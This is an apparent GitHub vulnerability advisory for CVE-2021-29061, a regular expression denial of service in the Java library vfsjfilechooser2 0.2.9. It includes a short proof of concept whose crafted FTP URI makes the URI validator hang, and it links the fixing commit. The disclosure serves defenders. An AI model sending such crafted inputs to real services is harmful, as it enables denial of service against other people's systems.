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 yetingli [CVE-2021-29061](#)

🕒 History

1 contributor

```

≡ 33 lines (20 sloc) | 838 Bytes

```

CVE-2021-29061

Package

vfsjfilechooser2

Overview

vfsfilechooser2 is a mavenized fork of the dormant [vfsfilechooser](#) project on sf.net

Regular Expression Denial of Service (ReDOS) in Vfsjfilechooser2 version 0.2.9.

It allows cause a denial of service when validating crafted invalid uris.

Proof of Concept

```
import com.googlecode.vfsjfilechooser2.utils.VFSURValidator;

public class Main {
    public static void main(String[] args) {
        VFSURValidator v = new VFSURValidator();
        String _uri = "ftp://@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@:::@::@@";
        System.out.println(v.isValid(_uri));
    }
}
```



GitHub Commit

<https://github.com/fracpete/vfsfilechooser2/commit/9c9f2c317f3de5ece60a3ae28c371e9796e3909b>